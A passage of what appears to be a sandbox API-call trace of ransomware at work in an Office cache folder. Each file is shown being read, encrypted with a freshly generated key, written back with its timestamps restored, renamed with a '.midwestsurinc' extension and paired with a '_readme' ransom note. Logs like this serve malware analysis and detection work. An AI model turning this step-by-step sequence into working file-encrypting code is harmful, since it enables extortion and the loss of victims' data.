users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0077.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0077.920] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0077.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0077.920] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0077.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0077.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.920] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0077.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0077.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0077.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.921] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400)) returned 1 [0077.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0077.921] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0077.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0077.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0077.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0077.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0077.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0077.922] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xe874f770, dwHighDateTime=0x1d301be)) returned 1 [0077.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.922] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0077.922] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0077.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0077.922] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0077.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0077.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0077.923] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0077.923] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0077.923] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263400) returned 0x1f50020 [0077.923] ReadFile (in: hFile=0x2e8, lpBuffer=0x1f50020, nNumberOfBytesToRead=0x263400, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x1f50020*, lpNumberOfBytesRead=0x174fb28*=0x263400, lpOverlapped=0x0) returned 1 [0077.983] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263400) returned 0x21c0020 [0078.004] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0078.014] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263400) returned 0x1f50020 [0078.015] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0078.036] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0078.046] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263800) returned 0x21c0020 [0078.068] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x263400, dwBufLen=0x263800 | out: pbData=0x21c0020*, pdwDataLen=0x174fb24*=0x263410) returned 1 [0078.086] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x263440) returned 0x2430020 [0078.108] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1f50020) returned 1 [0078.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x21c0020) returned 1 [0078.129] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0078.129] WriteFile (in: hFile=0x2e8, lpBuffer=0x2430020*, nNumberOfBytesToWrite=0x263400, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0x2430020*, lpNumberOfBytesWritten=0x174fb28*=0x263400, lpOverlapped=0x0) returned 1 [0078.154] FlushFileBuffers (hFile=0x2e8) returned 1 [0078.163] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0078.163] NtClose (Handle=0x2e8) returned 0x0 [0078.209] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.midwestsurinc")) returned 1 [0078.209] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0078.209] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0078.210] GetLastError () returned 0x2 [0078.210] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85fd0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0078.210] GetLastError () returned 0x2 [0078.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0078.210] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0078.210] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0078.211] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0078.211] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1b) returned 0x184c620 [0078.211] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4dfae4b0, dwHighDateTime=0x1d5dff7)) returned 1 [0078.212] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0078.212] NtClose (Handle=0x2e8) returned 0x0 [0078.212] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0078.213] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0078.213] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0078.213] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x2430020) returned 1 [0078.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0078.224] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0078.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0078.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0078.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0078.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0078.224] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0078.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0078.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0078.224] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0078.224] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0078.224] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0078.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0078.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0078.225] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0078.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0078.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969290 [0078.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0078.225] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1969188 [0078.225] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0078.225] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa)) returned 1 [0078.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0078.226] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0078.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0078.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0078.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10451d8 [0078.226] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8*(dwLowDateTime=0xe8728670, dwHighDateTime=0x1d301be)) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0078.226] CryptGenKey (in: hProv=0x601ec8, Algid=0x6610, dwFlags=0x1000001, phKey=0x174fb20 | out: phKey=0x174fb20*=0x60d2e0) returned 1 [0078.226] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x174fb1c | out: pbData=0x0*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0078.226] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x240) returned 0x107fd60 [0078.226] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0078.227] CryptExportKey (in: hKey=0x60d2e0, hExpKey=0x606100, dwBlobType=0x1, dwFlags=0x0, pbData=0x107fd60, pdwDataLen=0x174fb1c | out: pbData=0x107fd60*, pdwDataLen=0x174fb1c*=0x20c) returned 1 [0078.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0078.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0078.227] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0078.227] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x174fb28*=0) returned 0x0 [0078.227] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0078.227] ReadFile (in: hFile=0x2e8, lpBuffer=0xfa07a8, nNumberOfBytesToRead=0x5aa, lpNumberOfBytesRead=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesRead=0x174fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0x10733c0 [0078.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x5c0) returned 0xfa07a8 [0078.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10456e8) returned 1 [0078.229] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10733c0) returned 1 [0078.229] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x9c0) returned 0x181a060 [0078.230] CryptEncrypt (in: hKey=0x60d2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5aa, dwBufLen=0x9aa | out: pbData=0x181a060*, pdwDataLen=0x174fb24*=0x5b0) returned 1 [0078.230] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0078.230] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x174fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x174fb10*=0) returned 0x0 [0078.230] WriteFile (in: hFile=0x2e8, lpBuffer=0xfa07a8*, nNumberOfBytesToWrite=0x5aa, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xfa07a8*, lpNumberOfBytesWritten=0x174fb28*=0x5aa, lpOverlapped=0x0) returned 1 [0078.230] FlushFileBuffers (hFile=0x2e8) returned 1 [0078.236] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0078.236] NtClose (Handle=0x2e8) returned 0x0 [0078.237] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.midwestsurinc")) returned 1 [0078.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc", dwFileAttributes=0x2020) returned 1 [0078.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc_readme", dwFileAttributes=0x80) returned 0 [0078.237] GetLastError () returned 0x2 [0078.238] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.midwestsurinc_readme"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0xf85ff0, ftLastWriteTime.dwHighDateTime=0x18fe40, nFileSizeHigh=0x0, nFileSizeLow=0x174fb60)) returned 0 [0078.238] GetLastError () returned 0x2 [0078.238] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc_readme" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.midwestsurinc_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0078.238] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x174fafc, lpLastWriteTime=0x174fafc) returned 1 [0078.238] WriteFile (in: hFile=0x2e8, lpBuffer=0xf7fe10*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x174fb28, lpOverlapped=0x0 | out: lpBuffer=0xf7fe10*, lpNumberOfBytesWritten=0x174fb28*=0x168, lpOverlapped=0x0) returned 1 [0078.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x10456e8 [0078.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb) returned 0xf7d630 [0078.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045730 [0078.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7d630) returned 1 [0078.239] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045730) returned 1 [0078.239] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x2d1) returned 0x1030560 [0078.240] GetFileTime (in: hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fc3c*(dwLowDateTime=0x4dffa770, dwHighDateTime=0x1d5dff7)) returned 1 [0078.240] SetFileTime (hFile=0x2e8, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x174fbd8) returned 1 [0078.240] NtClose (Handle=0x2e8) returned 0x0 [0078.240] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.midwestsurinc_readme", dwFileAttributes=0x2020) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1030560) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa07a8) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0078.241] CryptDestroyKey (hKey=0x60d2e0) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10451d8) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969290) returned 1 [0078.241] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1969188) returned 1 [0078.241] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0078.241] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290)) returned 1 [0078.242] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0078.242] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0078.242] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0078.242] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0078.242] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", 